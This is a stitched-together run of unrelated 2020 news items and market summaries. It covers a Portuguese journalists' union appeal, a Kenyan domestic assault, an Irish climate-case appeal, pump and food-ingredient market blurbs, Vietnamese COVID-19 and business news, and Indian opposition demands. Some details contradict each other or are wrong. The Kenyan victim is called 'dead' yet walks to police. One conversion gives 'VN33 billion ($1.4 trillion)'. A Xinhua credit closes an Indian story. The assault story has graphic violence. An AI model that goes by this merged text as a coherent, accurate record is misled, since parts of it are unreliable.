The Portuguese Journalists' Union (SJ) has strengthened its call on the government for increased support for the media sector and denounced the fact that the 15 million euros package announced on April 17 has not yet been implemented. The International Federation of Journalists (IFJ) joins its Portuguese affiliate in calling for urgent support measures to support the media sector and freelance journalists.

The SJ has claimed that more than a month has passed since the Secretary of State for Cinema, Audiovisual and Media pledged to discuss structural and comprehensive support measures for the media sector with media and journalists organizations. However, no action or decision has followed.

The SJ warned that the media needs public support to strengthen the sustainability of a sector which was already in a structural crisis that is now aggravated by the COVID-19 pandemic.

The union also claimed that the emergency support package of 15 million euros announced by the government on 17 April is not enough and that medium and long-term measures must be adopted.

The SJ said: We reaffirm our willingness to continue the dialogue with the Ministry of Culture, but stress the urgency of this dialogue and the need to approve support measures that will be essential for the survival of a free, independent and plural journalism in Portugal.

Free masks for freelance journalists

The union also announced it had received a donation made by the Portuguese Press Association (API) of hundreds of masks that will be distributed among freelance journalists.

In a press release, the SJ said that freelance journalists are currently living in a situation of special fragility while reaffirming its commitment to ensure the safety of its members

IFJ General Secretary, Anthony Bellanger, said: "It's crucial that governments from all over the world launch ambitious public support programs to protect journalists and independent journalism. We support the SJ's demands, which are in line with the proposals in the IFJ Global Platform for a Quality Journalism"
A 30-year-old man identified as James Kifo Muriuki has been arrested for allegedly assaulting his wife and sealing her private parts with superglue using a knife after accusing her of infidelity in Kanya.

In a statement on Thursday, the Kenyan Police said Muriuki was arrested following a shocking report made by his wife, on how the suspect lured her in the middle of the night to River Kathita whereby he ordered her to strip naked and tell him all the men she had slept with while he was in Nairobi.

It was gathered that when she turned down his request, the man descended on her with blows while threatening to stab her with the knife he was holding.

The suspect then proceeded to adding pepper, salt and onions in his wifes private parts using a sharp knife, before applying superglue mixed with sand to seal it off.

ALSO READ: Jealous Husband Ordered His Wife To Swallow Her Wedding Ring Before Beating Her To Death

Muriuki also applied the same super glue on his wifes ears and mouth before fleeing from the scene and leaving her dead.

The woman was said to have managed to walk to Marimanti Police Station where she reported the matter before she was rushed to Marimanti Sub-County Hospital where she is receiving treatment.

The Directorate of Criminal Investigations (DCI) said a man hunt was launched and the suspect, James Kifo Muriuki, was arrested from his hideout in Kaningo, Kitui County in the Kenyan territory.

The suspect will be charged accordingly by the Kenyan authorities once necessary police procedure is complete, DCI said in a statement.

ALSO READ: Jealous Husband Cuts Of Penis Of Wifes Boyfriend With Scissors, Then Runs Away With It So It Cant Be Reattached
A seven-judge Supreme Court will hear an important appeal next month over the dismissal of an environmental groups case alleging a Government plan aimed at tackling climate change is flawed and inadequate.

During a case management hearing today held remotely, the Chief Justice, Mr Justice Frank Clarke said it appeared all was in order for the appeal to proceed, via remote hearing, on June 22. It has been allocated two days.

The court had previously agreed to hear a leapfrog appeal by Friends of the Irish Environment (FIE), one direct to the Supreme Court, after finding the issues raised are of general public and legal importance and there was a degree of urgency in respect of the adoption of remedial environmental measures.

The appeal is against a High Court decision rejecting FIEs challenge to the governments National Mitigation Plan, published in July 2017.

The plan sets out measures described as the first steps on a path designed to transition Ireland to a low carbon, climate-resilient and environmentally sustainable economy by 2050.

In its action against the Government and the State, FIE sought orders quashing the governments approval of the plan and directing the government to produce a plan that will properly tackle the risks posed by global warming, including flooding, fires, ecological destruction and loss of life.

The 2017 plan fails to specify any measures to urgently reduce greenhouse gas emissions as it is required to do, it was claimed.

The State respondents argued the plan was not justiciable, meaning its adequacy or otherwise could not be decided on by a court. FIE, they submitted, was impermissibly advancing a prescribed policy and seeking to impose a positive obligation on the State to deliver such a policy.

In his September 2019 judgment dismissing FIEs case, Mr Justice Michael McGrath ruled the government must be afforded broad discretion in adopting plans under the Climate Action and Low Carbon Development Act 2015 and, in light of the constitutional separation of powers, the court could not interfere with the plan.

In agreeing to hear FIEs appeal against that decision, the Supreme Court said issues of general and public importance arose.

The issues are - (1) the availability of judicial challenge to the legality of the plan; (2) the standard of such review if adoption of the plan is justiciable as a matter of law and; (3) the broader environmental rights asserted by FIE under the Constitution, European Convention on Human Rights and/or from Irelands international obligations.

The case concerns the 2017 plan but, arising from case management, the Supreme Court will also be provided with a copy of the governments Climate Action Plan 2019 which updates the 2017 plan.
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Market Scenario

Global Turbomolecular Pumps Market is expected to reach US$ 1.77 Billion by 2026 from US$ 1 Billion in 2017 at CAGR of 6.55%.

Global Turbomolecular Pumps Market

Turbomolecular pumps market is segmented by product, application, and region.

Based on product, turbomolecular pumps market is divided by oil lubricated type, magnetically suspended type, and hybrid. Hybrid is estimated to hold the largest share of a market in forecast period due to a high speed of pumping, highest compression ratios, and low residual vibrations.

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On the basis of application, turbomolecular pumps market is classified into nanotechnology instruments, analytical instrumentation, industrial vacuum processing, and others. Analytical instrumentation is estimated to hold the largest share of the market during the forecast period due to increasing demand for water processing and chemical processing among globe.

Major driving factors for turbomolecular pumps market are rising demand for a pump, operational proficiency, enhanced productivity, high efficiency, and reliability boom the market during forecast period among globe, high vacuum, and increasing demand for pumps in analytical instrumentation. Increasing technological advancement and innovation are opportunities for the players and at the same time, high manufacturing cost acts as restrain to the market.

In terms of region, turbomolecular pumps market is segmented by North America, Europe, Asia Pacific, Middle East & Africa, and Latin America. North America is estimated to hold the largest share of a market in forecast period due to rising demand for the flat panel displays and semiconductors in this region.

Key players studies, analyzed, profiled and benchmarked in turbomolecular pumps market are Agilent Turbomolecular, Atlas Copco, Busch, Ebara Technologies, Inc., KYKY Technology Co. Ltd., Osaka Vacuum, Ltd., Pfeiffer Vacuum GmbH, Shimadzu Corporation, Ulvac, Welch, Edwards, KYKY Vacuum, and Leybold.

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Scope of the Report Turbomolecular Pumps Market are

Global Turbomolecular Pumps Market, by Product

 Oil Lubricated Type

 Magnetically Suspended Type

 Hybrid

Global Turbomolecular Pumps Market, by Application

 Nanotechnology Instruments

 Analytical Instrumentation

 Industrial Vacuum Processing

 Others

Global Turbomolecular Pumps Market, by Region

 North America

 Europe

 Asia Pacific

 Middle East & Africa

 Latin America

Key Players, Global Turbomolecular Pumps Market are

 Agilent Turbomolecular

 Atlas Copco

 Busch

 Ebara Technologies, Inc.

 KYKY Technology Co. Ltd.

 Osaka Vacuum, Ltd.

 Pfeiffer Vacuum GmbH

 Shimadzu Corporation

 Ulvac

 Welch

 Edwards

 KYKY Vacuum

 Leybold

Full View of Report Description: https://www.trendsmarketresearch.com/report/analysis/MMR/global-turbomolecular-pumps-market
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Introduction

Hydrolyzed vegetable protein is derived from boiling cereals or legumes in hydrochloric acid and then neutralizing the solution with sodium hydroxide. The acid breaks down, the protein present in vegetables into their component amino acids. The resulting liquid is further known as hydrolyzed vegetable protein. Hydrolyzed vegetable protein is widely used as a flavor enhancer in many processed foods such as soups, sauces, stews, seasoned snack foods, gravies, hot dogs, dips and dressings. It is also blended with other spices to make seasonings that are used in or on foods.

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Hydrolyzed Vegetable Protein Market Segmentation

Hydrolyzed vegetable protein market has been segmented on the basis of raw-material, application and form. The raw material segment can be divided in view of the kind of raw material i.e. soy, rapeseed, corn, rice, pea and wheat utilized for producing hydrolyzed vegetable protein. Among all these segments hydrolyzed soy protein is relied upon to possess biggest offer regarding revenue contribution.

Hydrolyzed vegetable protein is further segmented on the basis of application, includes food industry where in hydrolyzed vegetable is used as flavor enhancer. Furthermore food industry can be sub-segmented into noodles, pastas, prepared soups, sauces, ready meals, dips and dressings, meat, fish, seasoning mixes and others. Application can also segmented based on the beverages where hydrolyzed protein is used to complement the amino acid and enhance the flavor in functional beverages. Wide application and increased usage as a flavor enhancer in food and beverages industry is expected to drive the market demand. Moreover, Hydrolyzed vegetable protein is widely accepted by the various nations regarding its usage in various industry which is further expected to fuel the market growth during the forecast period. Hydrolyzed vegetable protein application segment can also be divided into cosmetics where it is used as film-forming agents in face cream and hair care products.

Hydrolyzed vegetable protein is further segmented on the basis of form which includes dry powder, paste and liquid. Among both of these segments powder segment is expected to contribute major share in terms of revenue. Easy water solubility coupled with wide applications in various food product is expected to support the segment growth during the forecast period.

Geographically Asia Pacific is the largest market in terms of consumption of Hydrolyzed vegetable protein followed by North America and is expected to account for the major market share in the forecast period. Among North American region U.S. is expected to be the major contributor in terms of revenue followed by Canada. In Asia pacific region China and India is expected to account for the substantial growth due to increased demand for nutritional food among the consumers. Moreover in Latin America Brazil is expected to be the major contributor in terms of revenue followed by Mexico.

Hydrolyzed Vegetable Protein Market Drivers & Restraints

Factors such as increase in demand of clean-label and natural ingredients, increasing consumer awareness pertaining to the ill effects related to savory ingredients, and demand for healthy and nutrition products are acting as major restraints for the market. Increasing demand for convenience food, changing lifestyle, and untapped potential in the developing Asia-Pacific countries act as major drivers for the market.

As it is helpful in enhancing flavor of the processed food, so it is also considered as the most sustainable protein ingredients which is favoring its growth in alternate way. However, availability of Monosodium Glutamate (MSG) in Hydrolyzed vegetable protein is expected to restrain the market growth over the forecast period.

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Hydrolyzed Vegetable Protein Market: Key Players

Some of the major key players operating in flavonoid market includes Ajinomoto, Kerry Group, Tate & Lyle, Jones-Hamilton Co., DSM, Diana Group, Givaudan, Brolite Products Co. Inc., Kerry Group, Caremoli Group, Astron Chemicals S.A., McRitz International Corporation, Good Food, Inc., Michimoto Foods Products Co., Ltd, Dien Inc., Innova Flavors, Unitechem Co., Ltd. among others.
PNJ reported its first losing month since last August

Phu Nhuan Jewelry JSC (code: PNJ) has just announced its business results of April 2020, which reported a 47 per cent decrease to VND501 billion ($21.8 million). After-tax profit in April reported VND89 billion ($3.87 million) in loss, while in the same period last year it gained VND53 billion ($2.3 million). This is the first time PNJ lost since the company started announcing its monthly business results in last August.

Accordingly, PNJ has closed most of its stores to honour social distancing during the pandemic, so they were open for only half of April, which meant reduced revenue and negative profit.

In April, PNJ's retail revenue dropped by 62 per cent, while gold sales increased by 42 per cent on-year. The wholesale, B2B, and export segments also reported poor performance due to the health crisis gripping Vietnam and the world.

The profit margin in April declined sharply to 8.4 per cent from 24.6 per cent, due to the small margin of the gold segment.

Throughout the first four months of 2020, PNJ gained VND5.502 trillion ($239.2 million) in revenue, and VND320 billion ($13.9 million) in after-tax profit, down 4 and 34 per cent on-year. Profit margin in this period was 19.8 per cent, lower than the 22.4 per cent last year. As a result, PNJ has accomplished 29 per cent of its yearly revenue plan and 24 per cent of its yearly profit target.

At the end of April, PNJ operated 349 stores, including 292 PNJ Gold, 53 PNJ Silver, 4 CAO Fine Jewellery, and 33 PNJ Watch stores. During the month, the company opened two new Gold stores, closed three jewellery stores, and opened six watch stores.
20,000 made-in-Vietnam Covid-19 test kits exported

The real-time RT-PCR bio-kits jointly made by the Military Medical Academy and Viet A Technology Joint Stock Company







Vietnam has exported 20,000 Covid-19 test kits to eight countries so far.

The real-time RT-PCR bio-kits jointly made by the Military Medical Academy and Viet A Technology Joint Stock Company have been licensed by the Ministry of Health for mass production.

According to Phan Quoc Viet, general director of Viet A Technology Joint Stock Company, the countries include Laos, Cambodia, Indonesia, Ukraine, Poland, Hungary and Austria.

Viet added that Vietnam is negotiating with around 20 other nations for the export of this product.

Each kit consists of 50 tests with each test being used for one person while the duration should last for a total of two hours. Each test using the real-time RT-PCR bio-kits costs VND400,000-600,000 (USD17.39-USD26.08).

A Vietnamese firm has also ordered the test kits for the sole distribution in the international market with roughly one million test kits per month.

Viet noted that his company could ensure the supply of three million test kits monthly.

The real-time RT-PCR bio-kits have been presented with the CE marking and Certificate of Free Sale (CFS), allowing the test kits to be sold in the European Economic Area, including the UK.

The producers are completing procedures to apply for the certificate of the USs Food and Drug Administration (FDA) certificate. This standard is hoped to be granted in the next two weeks.

More Covid-19-hit Vietnamese nationals abroad to be repatriated

More flights to bring Vietnamese nationals affected by the Covid-19 pandemic in different countries home will be organised.

According to the Civil Aviation Administration of Vietnam (CAAV), 21 flights will help in repatriation efforts between May 18 and June 15.

National flag carrier Vietnam Airlines will operate 14 flights to transport Vietnamese nationals from Thailand, India, the Netherlands, South Korea, Singapore, the UK, Australia, New Zealand, Japan, Finland, Sweden, Canada, Angola and the US.

Meanwhile, budget carrier Vietjet Air will provide five from Myanmar, Taiwan, South Korea, Singapore and Japan.

The two remaining flights from Singapore and Kuwait will be carried out by Bamboo Airways.

Wide-body planes such as Boeing 787-9, Boeing 787-10 and Airbus 350 will be used for the flights.

All of the passengers have to pay for the air tickets.

Earlier, 13 flights were run for the return of Vietnamese people from different countries, including Japan, the US, Canada, France and Spain from mid-April to May 17. Most of the flights were operated by Vietnam Airlines.

The flights landed at Noi Bai International Airport in Hanoi, Van Don International Airport in Quang Ninh Province, Can Tho International Airport in Can Tho City, or Tan Son Nhat International Airport in HCM City. The passengers were directly sent to quarantine zones for Covid-19 prevention.

Brookings Institute: Improved governance helps Vietnam weather COVID-19

The US-based Brookings Institute on May 20 ran an article attributing Vietnams success in COVID-19 containment to its improved governance and policy coordination.

Vietnam is now one of the first countries to ease social distancing measures and reopen its society, it said.

According to the article, Vietnams state capacity was not born overnight but resulted from decades-long efforts to improve governance and responsiveness at local levels.

Data from Vietnams Provincial Competitiveness Index (PCI) and Provincial Administrative Performance Index (PAPI) showed that the Vietnamese provinces have made steady improvements in healthcare, information access, and corruption control. Access to health insurance has grown rapidly over time, with 90 percent of Vietnamese citizens insured today.

Taken together with the governments policy to provide mass quarantine largely free of charge, these data suggest that the Vietnamese citizens today did not have to worry about costs from COVID-19 tests, associated hospitalisation, and centralised quarantine, thereby increasing their willingness to comply with extensive contact tracing and strict quarantine measures.

Vietnams ongoing anti-graft campaign has generally received favourable responses from watchers and international audiences, it said, adding that the anti-graft campaign has also intersected with the pandemic response. The head of the Hanois Centre for Disease Control has recently been indicted on a charge of collusion to inflate COVID-19 test kit costs.

The institute stressed that transparency efforts have also mitigated skepticism towards the Vietnamese Party and States COVID-19 reporting. The Ministry of Health has posted all reported cases online, enabling deeper analysis by data scientists and bloggers, and gaining endorsement from public health experts.

Commenting on Vietnams post-pandemic growth, the article said the current strategy focuses on promoting the domestic market and repositioning Vietnam for opportunities in shifting global supply chains.

To promote Vietnams domestic market, it said the Vietnamese leaders have issued a host of relief measures, including freezing business obligations to pay costs such as retirement and life insurance contributions, providing quick-access loans for wage payments, and increasing social welfare for laid-off workers.

Vietnams leaders have put forth a plan to promote linkage in the domestic market, including in tourism, agriculture, and seafood. Among other actions, this requires reorienting businesses towards high-demand areas.

While eager to restart its economy, the country also made clear that economic revitalisation must be balanced with public health goals by imposing limited hours for businesses, crowd control, and continued enforcement of social distancing requirements. Compliance with these measures hinges on continued public trust.

The article concluded that Vietnams improving governance and central-local policy coordination have helped it weather the COVID-19 pandemic, enabling the reopening of its society and economy ahead of most peers.

Despite the clear challenges Vietnam faces, the countrys strong growth trajectory and swift COVID-19 response have positioned it to be one the worlds few economic bright spots. The World Bank projected that Vietnam will be one of few countries to experience positive economic growth in 2020, and it managed to attract 8.6 billion USD in foreign investment during the first quarter of 2020. This success, however, depends upon continuing the historical trajectory of improved economic governance, including reducing corruption./.

Four people connected to COVID-19 patient 275 test negative

Four people connected to COVID-19 patient 275 tested negative for SARS-CoV-2, said Bui Quoc Nam, director of the Bac Lieu Department of Health and also deputy head of the provincial steering committee for COVID-19 prevention and control.

Earlier, the Bac Lieu General Hospital discovered a vendor who was in contact with patient 275, who is undergoing treatment at the provincial general hospital.

At 5.30pm on May 16, the vendor Tran Khanh Vui, who works as a vendor in the hospital, went through its quarantine centre. Patient 275, 33, from Hai Duong Province, asked Vui to help him buy cigarettes and water.

The centres security camera showed that the two were in contact several times, about five minutes each time and both of them wore face masks.

When the case was discovered, the provincial steering committee on May 19 brought Vui, his wife and a child, and a man who had drunk with Vui to a quarantine centre and sent their samples to the HCM City Pasteur Institute for tests.

Nam said that with the test results, Vuis home in Hue Village, Ward 2 in Bac Lieu City would not be quarantined. Students of the Kim ong Primary School in Ward 3, Bac Lieu City, where Vuis child studied, would not have to be absent from school.

After the case, the provincial steering committee will improve security work, set up more fences and install more cameras around the quarantine centre.

US Centres for Disease Control and Prevention Commits $3.9m for COVID-19 in Viet Nam

Health workers take blood samples for COVID-19 testing in Ha Noi.

The US Centres for Disease Control and Prevention (US CDC) has committed an initial US$3.9 million for its COVID-19 activities in Viet Nam to support prevention, preparedness, and response, including some regional activities, the US Embassy in Ha Noi announced on Wednesday.

These initial resources are being used for laboratory testing, field investigations, surveillance, data analysis, and infection prevention and control.

Since January, US CDC has been supporting Viet Nam to prepare for and respond to the COVID-19 pandemic.

The US CDC provided direct technical assistance on emergency operations, specimen transport, laboratory testing, disease surveillance, infection prevention and control (IPC), and risk communication.

They also worked alongside Vietnam's Ministry of Health, training field epidemiologists (disease detectives) to conduct outbreak investigations to collect, analyse and interpret data and contribute to evidence-based decisions.

US CDC conducted training on IPC, contact tracing, and laboratory testing and quality assurance.

The US CDC also helped Viet Nam develop its national guidelines and protocols, together with the Ministry of Health in the areas of infection control, health facility readiness and preparedness, surveillance, laboratory testing, and maintaining HIV treatment during COVID-19.

Health co-operation between the US and Viet Nam has been the cornerstone of the bilateral engagement since 1998 when the US CDC partnered with Viet Nam to establish high-quality, sustainable health systems, strengthen long-term public health capacity and protect the health of Vietnamese and Americans.

Building on this partnership with US CDC, Viet Nam is currently at the forefront of global efforts to prevent, detect, and respond to COVID-19.

US CDC has been working with Viet Nam to strengthen capabilities in four essential areas including surveillance systems to quickly catch outbreaks before they spread, laboratory networks to accurately diagnose disease and identify new pathogens.

Another co-operation area is to enhance the capacity of frontline health staff to identify, track, and contain outbreaks at their source.

US CDC also support Viet Nam in strengthening capacity of Emergency Operations Centres to co-ordinate effective response efforts when crises occur.

The goal of US CDCs global health response to COVID-19 is to limit human-to-human transmission and minimise the global impact of COVID-19 through collaboration with key country and non-governmental partners to mitigate vulnerabilities and gaps in preparedness.

$300 million was authorised for US CDCs global response to COVID-19 as appropriated by Congress in the Coronavirus Preparedness and Response Supplemental Appropriations Act.

This funding builds on US CDCs long-standing global investments to control HIV, TB, and malaria, eradicate polio, and prepare for influenza and other pandemic diseases.

Safe shelter amid coronavirus war

browser not support iframe.

As many countries around the world have struggled to stave off COVID-19, Vietnam has done a sterling job in prevention and control. Not only local people but also foreigners remain safe and sound in the country.

Vietnam has recorded zero community-transmitted cases for 35 days straight.

266 patients have been given the all-clear as at May 21.

The Vietnamese Government eased its social distancing order following positive results.

A return to normalcy has already been seen among local people and foreigners./.

HCM City gives financial aid to household businesses affected by COVID-19

The HCM City Peoples Committee has approved additional financial assistance of VN830 billion (US$35.5 million) to support household businesses and workers affected by the COVID-19 pandemic.

The money will be sourced from the city's State budget. Household businesses and workers in 23 districts will be the beneficiaries.

About VN819 billion will be allocated to help 273,000 workers who have lost their jobs due to the crisis.

Nearly 3,730 household businesses with annual turnover of less than VN100 million ($4,300) that have suspended operations will receive total support of VN11 billion.

District 1 will provide more than VN33 billion ($1.4 trillion) from its budget reserve to 11,000 workers and 80 household businesses in need of support.

In late April, the city provided VN638 billion ($27.4 million) to support those affected by the pandemic. The city allocated VN1.8 trillion ($77.4 million) to provide allowances to 600,000 affected people, including workers in industrial parks, export processing zones and Sai Gon Hi-tech Park, as well as teachers at private kindergartens.



The allowances will be given for no more than three months, which had been started from April.

A recent survey showed that about 75 per cent of businesses in the city had been forced to reduce production due to a lack of raw materials or a decline in exports due to the impact of the COVID-19 pandemic.

As a result, many of them had to temporarily lay off staff or reduce the number of staff by 25-30 per cent.

All severe COVID-19 cases now clear of virus: Health Ministry official

Director of the Health Ministrys Department for Management of Medical Examination and Treatment Luong Ngoc Khue

The three most severe cases of COVID-19 in Vietnam have all become clear of SARS-CoV-2, the virus that causes COVID-19, a health official said on May 21, and there have been no COVID-19-related deaths in the country.

Director of the Health Ministrys Department for Management of Medical Examination and Treatment Luong Ngoc Khue said the most severe case, Patient 91 - a British pilot with a Vietnamese airline being treated at the Hospital for Tropical Diseases in HCM City - has tested negative for SARS-CoV-2 six consecutive times.

The patient has been transferred to the citys Cho Ray Hospital for the treatment of other ailments, Khue said.

He added that during just one week, 59 people registered lung donations to Patient 91, with the youngest volunteer being 21 years old and the oldest 76.

Appreciating their intentions, the official noted that the patient needs two whole lungs, not just one or part of a lung, so donations from brain-dead donors are the top priority.

Medical experts are also considering transferring the patient to the UK, since he is now free of COVID-19.

However, Khue said, the man remains in a coma and is on extracorporeal membrane oxygenation (ECMO) - a life support machine - so he must regain consciousness before a suitable plan of action is determined.

Patient 91 was treated for COVID-19 for two months and three days, including 46 days on ECMO, and his lungs were condensed by 90 percent.

A second CT scan shows that about 20-30 percent of his lungs have recovered and their function have also improved considerably. His pulse and blood pressure are also stable, according to Khue.

Another severe case is Patient 161, 88 years old, who has also now recovered from COVID-19 after receiving treatment at Hanois National Hospital for Tropical Diseases. She has also been discharged from Bach Mai Hospital after being sent there for treatment of a stroke.

Meanwhile, Patient 19, who also suffered three cardiac arrests, is recovering and will leave hospital shortly, the official said.

On the afternoon of May 21, two patients at the National Hospital for Tropical Diseases were declared to be clear of COVID-19 but will continue to be quarantined for another 14 days.

So far, 266 of the 324 COVID-19 patients in Vietnam have recovered from the disease.

Travellers allowed to transit through Singapores Changi Airport from June 2

Singapore will gradually allow travellers to transit through its Changi Airport from June 2, as the country is preparing to ease some COVID-19 restrictions and reopen its borders, announced the Civil Aviation Authority of Singapore (CAAS) on May 20.

Currently, foreign passengers are only allowed to transit through Singapore if they are on repatriation flights arranged by their governments.

The CAAS said that airlines should submit their proposals for transfer lanes through Changi Airport, adding that the proposals will be evaluated taking into account aviation safety, public health considerations, as well as the health of passengers and air crew.

Stringent measures will be put in place to ensure that the passengers remain in designated facilities in the transit area and do not mix with others at the airport.

Existing precautionary measures, such as safe distancing and temperature taking for passengers and staff, will continue to be enforced, said the authority.

Airport staff will also be required to wear personal protective equipment when interacting with passengers.

Singapore has closed its borders to all short-term travellers since March 23, even to those transit through the country, as the government took control measures to prevent imported COVID-19 cases.

This has dealt a blow to the countrys aviation and tourism sectors. Changi Airport saw a 99.5 percent decline in passenger movements in April compared to last years 5.58 million passengers per month./.

Nearly 240 Vietnamese brought home from Myanmar

Nearly 240 Vietnamese citizens in Myanmar were brought home safely on a flight of budget carrier Vietjet Air on May 21, arranged by Vietnamese agencies, the Vietnamese Embassy in Myanmar in coordination with Myanmar agencies.

The repatriated citizens are those in particularly disadvantaged circumstances who wished to return to Vietnam. They include children aged under 18, the elderly, the ill, pregnant women, stranded travelers, workers with expired visas and labour contracts, and students having completed study.

All underwent heath check-ups and were put into concentrated quarantine after landing at Da Nang International Airport.

The carrier also ferried some Myanmar citizens back to their homeland on the outbound leg.

Depending on the quarantine capacity at localities and the overall situation regarding COVID-19, more commercial flights bringing Vietnamese citizens home will be arranged in the future, in accordance with the Prime Ministers directions./.

YouGov: Vietnam has highest trust in COVID-19 media coverage

Vietnam has the highest trust in COVID-19 media coverage, with 89 percent of respondents expressing their belief in a poll recently conducted by the UKs data analysis and market research firm YouGov.

It is followed by India with 67 percent and China 62 percent.

In Germany, 54 percent of people trust their media's coronavirus coverage, while the rate is 50 percent in Spain, 42 percent in the US and 38 percent in Italy.

The UK's media landscape has been bitterly fragmented and divided by Brexit and it is hardly a surprise that faith in its coronavirus coverage is one of the lowest in the dataset at just 31 percent. Behind the UK is France with only 26 percent./.

Singapore uses doglike robot to supervise social distancing observance

Boston Dynamics robot dog. Boston Dynamics/YouTube

A yellow robot dog called Spot which found fame online for dancing to hit song "Uptown Funk" has been deployed to patrol a Singapore park to supervise peoples observance of social distancing rules.

The hi-tech hound is remote-controlled and can clamber easily over all types of terrain, which means it can go where wheeled robots cannot.

Spot uses cameras to estimate the number of visitors to the park and blasts out a message to ensure joggers and walkers keep their distance to limit the spread of the coronavirus: "For your own safety and for those around you, please stand at least one metre apart. Thank you."

Spot, which is being trialled over a three-kilometre (1.8 mile) stretch of the park, also has sensors to ensure it does not bump into people.

Developed by US company Boston Dynamics, Spot is best known for a video where the robot showed off its moves by bopping to Mark Ronson hit "Uptown Funk". The video has been viewed over 6.8 million times on YouTube.

The use of the robot has been widely welcomed. Some others had misgivings, however.

Singapore authorities have played down privacy concerns, saying Spot's cameras cannot track or recognise specific individuals and no personal data will be collected.

The city-state has reported over 29,000 virus cases, mostly among migrant workers living in dormitories, and 22 deaths./.

No new community COVID-19 infections reported for 36 days

Taking samples for SARS-CoV-2 testing

Vietnam confirmed no new COVID-19 cases from May 21 afternoon to May 22 morning, marking the 36th consecutive day without community transmission.

According to the National Steering Committee for COVID-19 Prevention and Control, the total infections in the country stands at 324, including 184 imported cases which were quarantined upon their arrival.

As many as 266 out of 324 patients have recovered as updated on May 22 morning, accounting for 82 percent of the total.

The 58 remainders are being treated at nine national and provincial medial facilities, with four testing negative once for SARS-CoV-2, the novel coronavirus that causes the acute respiratory disease, and four negative at least twice.

A total of 14,744 people who had close contact with COVID-19 patients or returned from pandemic-hit areas are under health monitoring, of whom 266 were quarantined at hospitals, 7,726 at other concentrated facilities and 6,752 at home.

Deputy Prime Minister Vu Duc Dam, who is head of the National Steering Committee for COVID-19 Prevention and Control, has warned of the increased risk of infection in the near future, requiring the entire disease prevention system to not let guard down./.

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Vigilance against COVID-19 still needed

Deputy PM Vu Duc Dam

Vietnam has contained well the COVID-19 pandemic but yet to win over it, Deputy Prime Minister Vu Duc Dam, head of the National Steering Committee for COVID-19 Prevention and Control, said at a meeting of the committee in Hanoi on May 21.

Along with the world, the fight against the pandemic may last long, and Vietnam must be always in the readiness status, the Deputy PM stressed.

Deputy Minister of Health Nguyen Thanh Long said more than 5 million COVID-19 cases, including 325,000 deaths, have been recorded in 215 countries and territories nationwide.

In Southeast Asia, there are 72,600 cases and nearly 2,300 fatalities. Vietnam, Cambodia, Laos and Timor-Leste have so far reported no deaths caused by the acute respiratory disease.

Vietnam has gone 35 straight days without community infections and the national count remains at 324, Long told the meeting.

The British man, designated as Patient 91 who is being treated at the HCM City Hospital for Tropical Diseases, has tested negative for SARS-CoV-2, the novel coronavirus that causes the disease, for six times, and his lung function has improved as compared with the previous days.

Regarding Flight VN001 from the US to Hanoi on May 16, Long said the test results of all 25 crew members came out negative.

All of the 299 passengers returning from Thailand on May 18 have also been put under quarantine at concentrated facilities and their test results were negative, the official added.

Although no community infections have been recorded over the past 35 days, competent forces have still maintained their active response and vigilance against the epidemic, Long said.

Committee members shared the views on the risk of transmission from Vietnamese returning from abroad, foreign experts and labourers, diplomatic and official passport holders, crew members and residents travelling through borders.

They, therefore, urged the Ministry of Transport and localities to continue tightening control over passengers entering Vietnam, and seriously observe quarantine regulations.

Local authorities and the public security sector have to guide the grant of visas for foreigners and prepare quarantine facilities, they said./.

APEC senior officials to hold virtual meeting on post-COVID-19 economic recovery

Malaysia will chair a virtual senior officials' meeting of Asia-Pacific Economic Cooperation (APEC) economies, its Ministry of International Trade and Industry said on May 21.

The meeting, scheduled on May 27, will focus on operationalisation of the APEC Ministers Responsible for Trade statement on COVID-19 and will discuss issues related to economic recovery, while ensuring that the efforts already in place to mitigate the health impact of the outbreak continue to yield positive results.

Earlier this month, the APEC Ministers Responsible for Trade issued a statement calling for greater cooperation among participating economies to facilitate trade as a way to combat the COVID-19 outbreak.

Apart from public sector representatives from APEC economies, the meeting will also witness the participation of private sector players through the APEC Business Advisory Council (ABAC)./.

Indonesia reports 973 new COVID-19 cases, biggest daily jump

In Jakarta, Indonesia (Photo: Xinhua)





The Indonesian Health Ministry announced 973 new confirmed cases of COVID-19 on May 21, the biggest daily jump so far.

Of the new cases, 502 were located in East Java, which even surpassed that of Jakarta.

Meanwhile, Thailands Security agencies have agreed on the need to extend use of the emergency decree for another month, until the end of June, on concerns about the COVID-19 situation.

National Security Council Secretary-General Gen Somsak Rungsita said a meeting of the committee on easing COVID-19 restrictions, which he chaired, agreed on the extension to June 30, as the global situation was still worrying.

Although Thailand had successfully controlled the spread of the coronavirus, extra caution is needed to prevent a possible a second wave of COVID-19 infections following the easing of the nationwide lockdown.

If a second outbreak occurs, the damage will be more severe, Gen Somsak said.

The resolution would be forwarded to the Centre for Covid-19 Situation Administration. If the CCSA agreed, it would be submmitted to the cabinet next week for a decision, Gen Somsak said.

Domestic travel is now permitted in Laos for all people throughout the country, but prevention measures and guidelines must be strictly followed.

The measures include arranging suitable seating for passengers with social distancing of at least one meter and everyone must have their body temperature checked.

Businesses managers must provide soap and hand sanitiser for customers.

Laos has conducted testing on 4,812 suspected cases, with 19 positive. Fourteen patients have recovered./.

VietNamNet/VNA/Dtinews/VNS/VOV
Leaders of 22 opposition parties on Friday accused the Centre of unabashedly usurping powers of states and demanded restoration of Parliament functioning and oversight with immediate effect.

The opposition parties also demanded immediate reversal of all unilateral policy decisions, especially on the changes in labour laws.

The leaders, who attended a meeting of opposition parties convened by the Congress through video conferencing, discussed the current situation arising out of the COVID-19 pandemic and the lockdown induced by it.

They put forth an 11-point charter of demands for the Centre at the virtual meeting.

The parties also accused the central government of having failed in discharging its responsibilities in a timely, effective and sensitive manner during the pandemic.

"The Union government has unabashedly usurped powers vested in states thus undermining the constitutionally guaranteed federal democracy," a statement issued jointly by the 22 opposition parties said.

The opposition parties also demanded from the Centre direct cash transfer of Rs 7,500 per month to families outside the Income Tax bracket for six months and said Rs 10,000 should be given to them immediately along with free ration.

They also demanded that the Centre provide free transportation for migrant workers to their native places amid the lockdown, Congress chief spokesperson Randeep Surjewala said.

In view of the lockdown, he said the opposition parties have also demanded that the Centre immediately provide a financial package for states, besides a clear and meaningful economic strategy focused on revival and poverty alleviation instead of propaganda.

The parties in the statement said the Rs 20 lakh crore package and its contents mislead the people of India.

"We demand that the government present a revised and comprehensive package that will be a true fiscal stimulus in order to stimulate demand in the economy," the statement said.

"The 22 parties represent over 60 to 70 per cent of the country's population and hoped the prime minister and the government would take a positive view of their demands," Surjewala said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Source: Xinhua| 2020-05-08 19:59:14|Editor: huaxia

